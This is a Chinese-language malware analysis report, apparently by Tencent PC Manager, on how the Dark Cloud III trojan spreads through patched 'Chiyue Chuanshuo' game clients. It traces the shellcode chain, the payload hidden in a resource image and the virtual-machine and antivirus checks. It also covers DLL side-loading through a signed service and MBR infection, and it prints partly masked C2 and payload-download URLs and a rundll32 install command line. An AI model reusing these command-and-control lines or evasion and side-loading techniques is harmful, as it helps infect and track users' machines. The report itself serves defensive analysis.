背景:
通过对暗云Ⅲ木马持续追踪分析,腾讯电脑管家发现多个下载暗云Ⅲ木马的恶意程序。经详细分析,此类恶意程序通过对正常的“赤月传说”、“传奇霸业”等游戏微端进行patch,进而伪装成游戏通过各大下载站的下载器等多种传播渠道进行海量推广。
具体分析恶意“赤月传说”微端后,发现无论是patch方式,还是内部的shellcode,与暗云木马一致,也就是说可以确定,暗云木马的开发者与恶意游戏微端的开发者是同一伙人。
图1.传播暗云木马的恶意微端安装包及下载器
图2. 安装后的恶意文件
样本概况:
weblander.exe
md5:
***dea3605878631b8feeeb53bfb5b17
***94d7d60f560c0889cebcb5ab53c11
图3. 恶意木马签名
详细分析:
木马使用patch正常游戏微端的方式将shellcode捆绑到正常程序并添加数字签名后进行推广传播。如下图所示为第一个被patch位置。
图4. 第一个被patch文件位置,右侧为木马
图5. patch前的代码
图6. patch后的代码
修改其中的一个call到第一段shellcode位置,使得第一段shellcode1得以执行。
shellcode1行为:
如下图为第二个被patch位置,存放的是shellcode1,其功能是加载被替换的资源。该资源文件原本是一张png图片,木马将其替换成一张尾部附有大量shellcode的图片,木马加载资源后直接执行该shellcode,下面称其为shellcode2。此外,执行完一系列操作后,木马会继续回到原来的位置执行代码,以不影响微端的功能。
图7. 第二个被patch的文件位置
图8. 被patch处的反汇编代码
图9.被patch处的反汇编代码
图10. 资源中的图片尾部被附上数据
图11. 被附上数据的资源图片
图12. shellcode会加载资源,提取图片尾部的附加数据
shellcode2行为:
shellcode2的格式与暗云木马完全一致,均为获取RtlDecompressBuffer函数地址,并调用加压其后数据,得到新的shellcode3并调用。
图13. shellcode头部反汇编代码
图14. shellcode2代码,解压shellcode3
shellcode3行为:
shellcode3的功能是加载其后的内存PE1文件。
图15. shellcode3代码,加载其后的PE
PE文件分析:
PE文件会对各种条件做判断,如果符合条件才会下载暗云Ⅲ感染程序到本地安装执行。这些条件包括:
1)安装包文件名格式,必须包含两个下划线和一个点,最后一个段是其推广渠道号
2)通过WMI查询磁盘名称,检测虚拟机
3)通过WMI查询进程列表,检测是否位于网吧
4)通过WMI检测杀毒软件
5)通过目录下的ini判断是否是第一次运行,只有第一次运行才会下载
条件判断合格后,将获取到的信息上传到云端,并从云端拉取配置信息:
http://c2tongji.b5156.com:89/stats.php?m=08-00-**-**-**-**&uid=b42be3fd-****-4338-****-d6fd64eb9576&hid=48DC0EC2&channelid=b108&p=9377_hyaz2a8_b108.exe&tick=26C717C1228272B9AC3A9E392CAD0721&pq=0&p3=0
该信息主要包括mac,硬盘序列号,用户id、取到号、文件名等。
拉到的配置信息为:
[Update] Version=2 Url=http://update.nj***.com:8089/config/LDrvSvc.zip CmdLine=rundll32.exe LDrvSvc.dll,RundllInstall Dir=%appdata%LDrvSvc
随后进行下载,并通过rundll 调用其中的驱动人生的LDrvSvc.dll进行安装,该dll自带安装功能。
图16. 从ini文件中提取安装包文件名,从安装包文件名中提取渠道号等信息
图17. 从ini文件里读取配置,确定是否是第一次运行
图18. 检测虚拟机
图19. 检测是否网吧环境
图20. 检测安全软件
图21. 上传mac、渠道号等信息
图22. 接收服务器返回的数据
执行完成后会继续启动游戏微端,用户完全无法察觉:
图23. 启动后的界面,可正常游戏
LDrvSvc.zip感染MBR过程分析
LDrvSvc.zip被解压后,rundll32调用ldrvsvc.dll执行安装,该dll是驱动人生的服务安装dll,能够把当前目录所有文件拷贝到参数指定的目录,并创建系统服务,启动ldrvsvc.dll。
样本概况:
图24. LDrvSvc.zip中的文件列表信息
详细分析:
ldrvsvc.dll启动后,会加载同目录下的DtlCrashCath.dll等支持库文件,而DtlCrashCath.dll文件则是被替换成木马文件,从而实现白加黑利用。
图25. 各个文件属性描述
启动:
LDrvSvc.dll服务被加载后会加载DtlCrashCatch.dll以及其他几个支持库文件。DtlCrashCatch.dll是被恶意patch过的文件。
第一个patch位置如下图,被patch成call 10001a64,进而执行到10001a64
图26.第一个被patch的文件位置
图27. 被patch处的代码
第二个patch位置为10001a64,其功能是加一个偏移跳转到下一个patch位置。
图28. 第二处被patch的文件位置
图29. 第二处被patch的文件位置
0x1000D4F4 + 0×11395 = 0x1001E889
第三个patch位置为一段shellcode1,其功能是解密指定尾部数据到一个共享内存,并执行解密后的shellcode2。
图30. shellcode1反汇编代码
图31. Patch前后文件对比
shellcode2的格式与暗云木马完全一致,均为获取RtlDecompressBuffer函数地址,并调用加压其后数据,得到新的shellcode3并调用。
图32.shellcode代码
shellcode3的功能是加载其后的内存PE1文件。
图33.shellcode代码
PE1文件行为:
PE1文件的功能为sleep3分钟后从云端下载配置文件,配置文件URL为:
http://www.2t**.com/upcfg.db,其格式与暗云配置文件相似,可确定为暗云作者开发。
图34. PE代码
图35. 从云端下载配置文件upcfg.db
下载完配置文件,进行解密,解密算法与暗云中解密配置文件的算法相同,解密后判断前4字节是否为0xA5A5A5A5,是的话调用其后的shellcode1。
图36. 解密配置文件,得到shellcode并执行
shellcode1功能是RtlDecompressBuffer其后的数据得到shellcode2,并调用。
图37.shellcode1行为
shellcode2的功能是内存展开其后的PE2文件。
图38. shellcode2代码,其功能是内存加载PE2
PE2文件行为:
进行暗云MBR感染。
*本文作者:腾讯电脑管家,转载来自FreeBuf.COM
本文始发于微信公众号(零组攻防实验室):暗云Ⅲ木马传播感染分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论